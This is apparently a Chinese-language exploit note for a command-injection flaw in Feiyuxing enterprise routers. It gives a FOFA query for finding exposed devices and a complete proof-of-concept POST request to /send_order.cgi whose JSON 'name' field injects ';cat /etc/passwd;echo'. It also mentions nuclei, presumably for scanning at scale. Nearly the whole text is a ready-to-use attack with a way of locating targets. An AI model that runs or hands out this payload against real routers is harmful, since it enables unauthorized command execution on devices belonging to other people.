飞鱼星路由器 命令执行漏洞

fofa：

title="飞鱼星企业"

poc:

POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Length: 82
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Connection: close
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache

{"opid":"777777777777777777","name":";cat /etc/passwd;echo ","type":"rest"}

nuclei